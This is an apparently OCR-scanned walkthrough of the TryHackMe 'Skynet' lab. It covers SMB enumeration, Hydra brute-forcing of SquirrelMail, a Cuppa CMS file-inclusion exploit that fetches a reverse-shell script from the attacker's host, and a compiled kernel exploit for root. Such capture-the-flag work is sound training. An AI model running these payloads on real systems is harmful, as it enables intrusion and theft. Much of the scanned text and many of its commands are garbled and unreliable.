Skynet

Wednesday, January 20, 2021 12:31 PM

We start with basic enumeration via nmap.

http

We notice that there is a pop server running on port 110.
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-1.compute.in

erChef (@ GitHub

LG

Skynet Search I'm Feeling Lucky

We can enumerate smb and connect to the anonymous share.
1 10-10-210-211:-# bclient -L \\\\10.10.168.238\\
og"” option is deprecated

Comment
print$ 5K inter Drivers
anony - ynet Anony
milesd K Dyson Personal Share
1P IPC sky server (Samba, Ubunt
ting with SMB1

Server

Workgroup

WORKGROUP

attention. txt

logs D Wed Sep 18

9204224 blocks of size 1024. 5831508 blocks available

The logs appear to be empty, but let's download all the files in the directory.
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ip-10-1 # smbget -R smb://10.10.168.238/anonymous
Password for [guest] connecting to //anonymous/10.10.168.238:
Using workgroup WORKGROUP, user guest
smb://10.10.168.238/anonymous/attention. txt

smb://10.10.168.238/anonymous /logs/log2. txt
smb://10.10.168.238/anonymous/logs/logl. txt
smb://10.10.168.238/anonymous/logs/log3. txt
Downloaded 634b in 3 seconds

-
b

When we cat attention.txt, we see a message from Miles Dyson who we assume is the admin.

1
Log.txt1 appears to contain potential passwords.

Now let's run gobuster

and Nikto to see if we can locate any hidden directories.
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# nikto -h

Target IP:

Target Hostname: - }.eu-west-1.compute.internal
Target Port:

Start Time:

Server: Apache

erver leaks inodes via ETags, header found with file /, : Ox26b 9x592bb
ec81cobé

The anti-clickjacki X-Frame-Options heade

0o CGI Directories found (use A% LN &

Allowed HTTP Methods: GET, HEAD, POST,

Cookie SQMSESSID created without the httponly flag

HinFamman haadar ‘,Frnmg,n‘z\.*vr\nc‘ fr\nr\r-iv i th ranta tc- CAMENDTYTN
lmail/src/read_body.php: This ight be intere
from an unknown scanner.

0 EADME: Apac default found.

6544 item ® error(s item(s) reporte

+ End Time: 2021-01 :41: S

071 host(s) tested
+a 1 P I

We follow the interesting link and it reveals to us the version of SquirrelMail and provides a link to a

login page.

SquirrelMail - You must b x +

© /& 10.10.168.238

TryHackMe Support W Offline CyberChef (@ GitHub epo/ © Reverse Shell Cheat S
SquirrelMail
webrmail
for
@ i nucts

SquirrelMail version 1.4.23 [SVN]
By the SquirrelMail Project Team

ERROR
You must be logged in to access this page.

Go to the login page

We know that there is a smb share called milesdyson. Let's try that username and go down our
password list to see if we can get into Miles' email.

pirrelMail - Login

‘a 10.10.168.238
Learn Cy TryHackMe ort DFfL CyberChef (@ GitHub

SquirrelMail

webrmail

SquirrelMail version 1.4.23 [SVN]
By the SquirrelMail Project Team

SquirrelMail Login

Name: milesdyson

Password:

Login

@7haloterminator

Yes! That worked!
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TryHackMe | Cyber Se X  SquirrelMail 1.4.23 [SVN] Xy +

< C ® © 7 10.10.168.238 . @ o In o
TryHackMe | Learn Cy TryHackMe Support W Offline CyberChef (@ GitHub - swisskyrepo/

Folders Current Folder: INBOX Sign Out
m'::’.,"; Compose Addresses Folders Options Search Help SquirrelMail
(Check mail)

Toggle All Viewing Messages: 1 to 3 (3 total)

}lr:gg;((.mﬂts Move Selected To: Transform Selected Messages:

INBOX.Sent INBOX v Move Forward Read Unread Delete

INBOX.Trash From @ Date @ Subject @

skynet@skynet Sep 17, 2019 Samba Password reset
serenakogan@skynetSep 17, 2019 (no subject)
serenakogan@skynetSep 17, 2019 (no subject)

Toggle All Viewing Messages: 1 to 3 (3 total)

We can also brute-force in an automated fashion using Burpsuite and Hydra. This should produce the
same result.

First, we turn on Burpsuite. Enable the proxy, and then enter bogus credentials. The point of this is to
obtain the fields for the web form.

Burp Suite Community Edition

Burp Project Intruder Repeater Window Help

IVDashboard V‘IrTarqetr Proxy [ Intruder I Repeater 1 Sequencer l Decoderi‘lrcomparer7]7Extender 717I

J Intcrcept] HTTP history I WebSockets history I Options l

Intercept is on | Open Browser |

Raw Params Headers Hex

X  SquirrelMail - Login

‘a2 10.10.168.238 e @ @

TryHackMe Support W Offline CyberChef (@ GitHub - swissk

SquirrelMail

webmaill
@,, for
4 nuts

SquirrelMail version 1.4.23 [SVN]
By the SquirrelMail Project Team

SquirrelMail Login

Name: whatever

Password: | s

Login

The fields that we require for Hydra are highlighted below. It's a good idea to put these into a text file
along with the message that indicates a failed login from the website. The failed login message is what
tells hydra that it hasn't matched the password yet.
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et Tttt Tl TRl

POST /squirrelmail/src/redirect.php |[HTTP/1.1
Host: 10.10,.168,238
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
| Accept: text/html,application/xhtml+xml,application/xml;q=0.9,1image/webp,*/*;q=0.8
Accept-Language: en-US,en;g=0.5
Accept -Encoding: gzip, deflate
" Content-Type: application/x-www-form-urlencoded
Content -Length: 83
Origin: http://10.10.168.238
Connection: close
Referer: http://10.10.168.238/squirrelmail/src/login.php
Cookie: squirrelmail_language=en_US; SQMSESSID=vneektve7mlv3mqSaSb4ppoiSl
Upgrade-Insecure-Requests: 1

login_username=whatever&secretkey=whatever&)s_autodetect_results=1&just_logged_in=1

<h>
ERROR
</b>
</font>
</td>
</tr>
<tr=
ftdatIgmetremter=
Unknown user or password incorrect.
=
</tr>
<tr>

POST /squirrelmail/src/redirect.phg

POST /squirrelmail/src/redirect.php
Host: 10.10.168.238

login username=admin&secretkey min&js autodetect results=1&ju
- y
st logged in=1

Unknown user or password incorr

So, our hydra command should look like this:
1 1 11: # hydra -1 y logl.txt 10.10.168.2

-post-form "/squirrelmail/src/redirect.php:login_username="USER"M&secretk

"&js_autodetect _results=1&just_logged_in=1:Unknown user or pas

Now, let's run it! It matches the first password on the list (duh). ;0)

p-1 21 1 # hydra -1 milesdyson -P logl.txt 10.10.168.23
yost-form "/squirrelmail/src/redirect.php:login_usern USERM&secretkey=
_autodetect_results just_logged_in=1:Unknown us " P ord incorr
E 17 by van Hauser /THC - Please do not in military o

ations, or for illegal purpc

(http://www. thc thc-hydra) starting at
A] max 16 tasks per 1 server, overall 16 t
per task
DATA] attacking http-p

rd incorr

Jhtty t-f host: 10.10.1 - login:

of 1 target o yalid password found
ydra (http:// finished at 2021-01-20
t $ #
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TryHackMe | Cyber Se X SquirrelMail 1.4.23[SVN] Xx -+

< C o © 7 10.10.168.238 R n
TryHackMe | Learn Cy TryHackMe Support W Offline CyberChef (@ GitHub - swisskyrepo/

Folders Current Folder: INBOX Sign Out
Last Refresh: Compose Addresses Folders Options Search Hel SquirrelMail
Wed, 4:17 pm P et P arch Help Sq
(Check mail)

Toggle All Viewing Messages: 1 to 3 (3 total)
}NBO;é Move Selected To: Transform Selected Messages:
INBOX.Sent INBOX v Move Forward Read Unread Delete
INBOX.Trash From @ Date @ Subject @

skynet@skynet Sep 17, 2019 Samba Password reset
serenakogan@skynetSep 17, 2019 (no subject)
serenakogan@skynetSep 17, 2019 (no subject)

Toggle All Viewing Messages: 1 to 3 (3 total)

It says in Miles' email that his Samba password was reset. Let's try it.

© /% 10.10.168.238 v O v i @
Cy... TryHackMe Support W Offline CyberChef (@ GitHub - swisskyrepo/...
Current Folder: INBOX Sign Out
Compose Addresses Folders Options Search Help SquirrelMail
Message

Previous | Next ~ Forward | Forward as Attachment | Reply | Reply All
List | Unread | Delete I | I I

Subject: Samba Password reset
From: skynet@skynet
Date: Tue, September 17, 2019 9:10 pm
Priority: Normal
Options: View Full Header | View Printable Version | Download this as a file

We have changed your smb password after system malfunction.
Password: )s{A&2Z=F"n E.B’

Let's login to Miles' smb share with the new password.

# smbclient \\\\10.10.168.238\\milesdyson --user=mil

2sdyson
NARNING: The "syslog" option is deprecated
nter WORKGROUP\milesdyson's password:

heli' to get a list of possible commands.

\>

We will navigate to dir and download everything in there.
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We can run gobuster and nikto against the hidden d
] ] S ter dir : .10.1
Jusr/share/wordlis /dirbuster/directory-

irectory.

gobust (3.0.1
html, txt,php,htm

rue

1
1

Starting gobus
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ot@ip-10-10-116-29:-# nikto -h http://10.10.116.79:80/45kra24zxs28v3yd
Nikto va2.

Target IP: 10.10.116.79

Target Hostname: ip-10-10-116-79.eu-west-1.compute.internal

Target Port: 80

Start Time: 2021-01-21 00:06:28 (GMTO)

Server: Apache/2.4.18 (Ubuntu)
Server leaks inodes via ETags, header found with file /45kra24zxs28v3iyd/, fiel

Ox1a2 0x592cb85331880
The anti-clickjacking X-Frame-Options header is not present.
No CGI Directories found (use '-C all' to force check all possible dirs)
Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
Cookie PHPSESSID created without the httponlv flaa
OSVDB-3092: /45kra24zxs28v3yd/administrator/: This might be interesting
/45kra24zxs28v3yd/administrator/index.php: Admin login page/section found.
6544 items checked: O error(s) and 6 item(s) reported on remote host
End Time: 2021-01-21 00:06:37 (GMTO) (9 seconds)
+ 1 host(s) tested

root@ip

Here is the landing page for index.html.

10.10.116.79/45kra24zxs x +
© /& 10.10.116.79 ove o

TryHackMe Support # Offline Cybe

Both tools located the Administrator directory. Let's navigate to it and attempt to login.
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X CuppaCMS

10.10.116.79

TryHackMe Support ' Offline CyberChef @ GitHub - swisskyrepo

Submit

Since this is in the beta phase according to Miles' notes, let's see if we can get in with the default
credentials.

None of the default creds appear to work. We researched a vulnerability for this application and found
that it may be vulnerable to PHP code injection.

@ L

exploit-db.com

Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion

EDB-ID: CVE: Author: Type: Platform Date:

EDB Verified:
Exploit: # / {} Vulnerable App: &2

First, let's see if we can brute force our way in with Hydra.
fawl |

Send

[Raw | Params | neagers | mex |

user=adninkpasswordmadainitask=login

Brute Forcing our way in didn't appear to work either, so let's try out our exploit.
According to the exploit, we should be able to display the contents of the /etc/passwd file.
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EXPLOIT

http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../..]..]../etc/passwd

Moreover, We could access Configuration.php source code via PHPStream

Let's try it.
http://10.10.116.79/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?

urlConfig=../../../..[..[..]..]..]../]etc/passwd
Field configuration:

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:
/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
Ip:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbhin
/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr
/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats
Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd
Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network
Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run
/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false
Ixd:x:106:65534::/var/lib/Ixd/:/bin/false messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin milesdyson:x:1001:1001:,,,:/home/milesdyson:
/bin/bash dovecot:x:111:119:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
dovenull:x:112:120:Dovecot login user,,,:/nonexistent:/bin/false postfix:x:113:121::/var/spool/postfix:
/bin/false mysql:x:114:123:MySQL Server,,,:/nonexistent:/bin/false

That works. So, let's see if we can get a reverse shell using this exploit.
We create a script for a reverse shell and then open a netcat session on port 7777 to catch it.
GNU nano 2.9.3 shell. txt Modified

Then we exploit with this code:
http://10.10.116.79/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?

urlConfig=http://10.10.116.29:8888/shell.txt?
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http://10.10.116.79/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
http://10.10.116.79/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
http://10.10.116.79/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.10.116.29:8888/shell.txt
http://10.10.116.79/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.10.116.29:8888/shell.txt

nano shell. txt
ls
shell.tx
thinclient_drives
http.

erv

# python3 server
le 'http.s

# pytho

't open fi

).0.0.0]

10.10.116

)

FROM
gid
acc

v-data)
tty; job

groups
control

Let's capture the user flag.
S cd /home/

s 1S

milesdyson

$ cd milesdyson

S cat user.txt
7ce5c2109a40f958099283600a%9ae807

s B

SMP Mon

ch file or directory

HTTP/1.0

Jun 26

0.00

PCPU WHAT

We change to the backups directory and learn that there is a process called backup.sh running as root.

This is our possible path to privilege escalation.
S 1s -al
total 36
drwxr-xr-x
drwxr-xr-
Lrwxrwxr

w

milesdyson milesdyson
root

root

w

root
FW=F==F=- miles
“TW-F=-=-[~~ yson
ilesdyson
root
milesdyson
milesdyson 46

milesdyson

1ilesdyson
root

oo

-IW-

drwxr-x

JN b

W=~

S cd backups

S ls -al
root 4096

lesdyson

milesdyson 6
74

4679680

root root
root root

sh history
.bash_logout
.bashrc
.profile
backups
mail
share

user.

> /dev/null

txt

2019
2019
2019 backup.

20:15 backup

We appear to have a limited shell. According to the exploit, we can still pull data from the system as
root. Let's use the exploit to see if we can list any scripts that may be running as root.
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© %4 10.10.116.79 - O 0 )

TryHackMe | Learn Cy TryHackMe Support W Offline CyberChef @ GitHub - swisskyrepo/

Field configuration:

# /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the ‘crontab' #
command to install the new version when you edit this file # and files in /etc/cron.d. These files also
have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:
/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command */1 * * * * root
/home/milesdyson/backups/backup.sh 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 *
* * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x
/usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin
Janacron || ( cd / && run-parts --report /etc/cron.monthly ) #

Backup.sh is running as root.

Let's download LinPeas to aid us in our privilege escalation.

# git clone https://github.com/carlospolo

lation-awes
Cloning into

used 3081
done.

thinclient_drives
# cd privilec E some-scripts-suite/

bt

Next, let's change directories to /tmp. From there we will upload linpeas.sh to our victim server using a
wget request.

pw d

linpeas.sh' saved [319969/319969]

Next, we add the executable bit to linpeas.sh

C +X Linpeas.sh

Xrwt

xrwt

Xrwt
Xrwxrwt
FWXTIWXrwX

te-6ebc21e138b1

..... 3 4096 2 :45 systemd-private-6ebc21e138b1
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After running linpeas.sh, | didn't see a clear path to get privilege escalation. As a last resort | will
attempt a kernel exploit. To find our kernel version we execute a uname-a command.

S uname -a

uname -a
Linux skynet 4.8.0 2neric #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 201
x86_64 x86_64 x86_64 GNU/Linux
A quick search reveals an exploit for our kernel version.
@ D & exploit-db.com B -9 4% mn 0O &

TryHackMe | Learn Cy TryHackMe Support W Offline CyberChef @ GitHub - swisskyrepo/

LO
BA

I'T
SE
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04

/ Linux Mint 17/18 / Zorin) - Local Privilege
Escalation (KASLR / SMEP)

EDB-ID: CVE: Author: Type:
2017-1000112 BCOLES LOCAL
EDB Verified: x Exploit: £ / {}

We can download the epr0|t and then upload to the victim /tmp directory via wget.

t@ip-10-1 # python3 -m http.server 8888
Serving HTTP on ©0.0.0.0 port 8888 (http://0.0.0.0:8888/)
10.10.101.117 - - [2 l/Jdﬂ"O_l 23:16:10] "GET /shell.txt HTTP/1.0" 200
10.160.101.117 - - [22/Jan/2621 00:27:16] "GET /47169.c HTTP/1.1" 200

/47169.c
J47169.c
- http://10.10.89.8 /47169.c
g 8 d.
HTTP reques
Length: .’,"4‘,
Saving to:

47169.c %[ =

2021-01-21 18:27:17 (604 MB/s) '47169.c' saved [29245/29245]

s ]
Now that the file has been successfully uploaded, we can compile and run the exploit.
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gcc 47169.c -o i-b-root-soon
47169.c -o i-b-root-soon
./i-b-root-soon
./Ji-b-root-soon
] starting
] checking kernel version
] kernel version '4.8.0-58-generic' detected
] done, version looks good
] checking SMEP and SMAP
] done, looks good
] setting up namespace sandbox
] done, namespace sandbox set up
] KASLR bypass enabled, getting kernel addr
.] trying /proc/kallsyms...
.] trying /boot/System.map-4.8.0-
] open/read(/boot/System.map-4.8.0-58-generic)
] trying syslog...
] done, kernel addr: frffffffo91800000
] commit_creds: frffffffo918a5d20
] prepare_kernel _cred: ffffffff918a6110
] SMEP bypass enabled, mmapping fake stack
] done, fake stack mmapped
] executing payload ffffffff91817c55
] done, should be root now
.] checking if we got root
+] got reet ~_»
oot@skynet: /tmp#

We are now root!
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